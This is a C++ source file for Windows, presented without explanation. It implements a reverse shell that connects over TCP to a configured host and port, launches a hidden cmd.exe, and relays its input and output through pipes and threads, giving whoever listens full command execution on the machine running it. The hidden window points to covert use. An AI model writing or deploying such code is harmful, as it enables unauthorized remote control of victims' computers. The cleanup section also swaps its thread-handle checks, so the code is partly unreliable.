#include <Windows.h> #include <process.h> #include <tchar.h> #pragma comment(lib,"ws2_32.lib") SOCKET hSock=INVALID_SOCKET; HANDLE hReadPipe1=NULL; HANDLE hWritePipe1=NULL; HANDLE hReadPipe2=NULL; HANDLE hWritePipe2=NULL; HANDLE hReadThread=NULL; HANDLE hWriteThread=NULL; BOOL bIsRun=TRUE; STARTUPINFO startinfo={0}; PROCESS_INFORMATION pi={0}; BOOL Socket_Select(SOCKET hSock,BOOL bRead=TRUE) { FD_SET fdset; FD_ZERO(&fdset); FD_SET(hSock,&fdset); TIMEVAL timeval; timeval.tv_sec=1; timeval.tv_usec=0; int iRet=0; if(bRead) iRet=select(NULL,&fdset,NULL,NULL,&timeval); else iRet=select(NULL,NULL,&fdset,NULL,&timeval); if(iRet<=0) return FALSE; else if(FD_ISSET(hSock,&fdset)) return TRUE; return FALSE; } unsigned WINAPI WritePipeProc(LPVOID lpParameter) { while(bIsRun) { if(Socket_Select(hSock)) { char *pRead=new char[1024]; memset(pRead,0,1024); DWORD dwBytesWritten=0; int iRet=recv(hSock,pRead,1024,0); if(iRet>0) { if(!WriteFile(hWritePipe1,pRead,iRet,&dwBytesWritten,NULL)) { delete [] pRead; return -1; } } else { delete [] pRead; bIsRun=FALSE; return -1; } } } return 0; } unsigned WINAPI ReadPipeProc(LPVOID lpParameter) { DWORD dwTotalBytesAvail=0; DWORD dwNumBytesRead=0; while(bIsRun) { if(PeekNamedPipe(hReadPipe2,NULL,0,NULL,&dwTotalBytesAvail,NULL)) { char *pReadBuf=new char[512]; memset(pReadBuf,0,512); if(dwTotalBytesAvail>0&&ReadFile(hReadPipe2,pReadBuf,512,&dwNumBytesRead,NULL)) { if(Socket_Select(hSock,FALSE)) { if(send(hSock,(char *)pReadBuf,dwNumBytesRead,0)==SOCKET_ERROR) { bIsRun=FALSE; delete [] pReadBuf; } else { delete [] pReadBuf; } } } else { delete [] pReadBuf;//由于PeekNamedPipe的原因,你懂的 } } } return 0; } int _tmain(int argc, _TCHAR* argv[]) { WSADATA wsadata; if(WSAStartup(MAKEWORD(2,2),&wsadata)) return -1; if(HIBYTE(wsadata.wVersion)!=2 || LOBYTE(wsadata.wVersion)!=2) { WSACleanup(); return -1; } hSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(hSock==INVALID_SOCKET) { WSACleanup(); return -1; } SOCKADDR_IN sockaddr; sockaddr.sin_family=AF_INET; sockaddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); sockaddr.sin_port=htons(9999); __try { if(connect(hSock,(SOCKADDR *)&sockaddr,sizeof(SOCKADDR))) __leave; SECURITY_ATTRIBUTES sa; sa.bInheritHandle=TRUE; sa.lpSecurityDescriptor=NULL; sa.nLength=sizeof(SECURITY_ATTRIBUTES); if(!CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0)) __leave; if(!CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0)) __leave; TCHAR CmdPath[MAX_PATH]={0}; GetSystemDirectory(CmdPath,MAX_PATH); lstrcat(CmdPath,_T("\\cmd.exe")); startinfo.cb=sizeof(STARTUPINFO); startinfo.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; startinfo.hStdInput=hReadPipe1; startinfo.hStdOutput=startinfo.hStdError=hWritePipe2; startinfo.wShowWindow=SW_HIDE; startinfo.lpDesktop=_T("WinSta0\\Default"); if(!CreateProcess(CmdPath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&startinfo,&pi)) __leave; hWriteThread=(HANDLE)_beginthreadex(NULL,NULL,WritePipeProc,NULL,0,NULL); if(!hWriteThread) { bIsRun=FALSE; __leave; } hReadThread=(HANDLE)_beginthreadex(NULL,NULL,ReadPipeProc,NULL,0,NULL); if(!hReadThread) { bIsRun=FALSE; __leave; } HANDLE handles[]={hReadThread,hWriteThread}; WaitForMultipleObjects(2,handles,TRUE,INFINITE); } __finally { if(hReadPipe1!=NULL) CloseHandle(hReadPipe1); if(hReadPipe2!=NULL) CloseHandle(hReadPipe2); if(hWritePipe1!=NULL) CloseHandle(hWritePipe1); if(hWritePipe2!=NULL) CloseHandle(hWritePipe2); if(pi.hProcess!=NULL) CloseHandle(pi.hProcess); if(pi.hThread!=NULL) CloseHandle(pi.hThread); if(hReadThread!=NULL) CloseHandle(hWriteThread); if(hWriteThread!=NULL) CloseHandle(hReadThread); closesocket(hSock); WSACleanup(); } return 0; }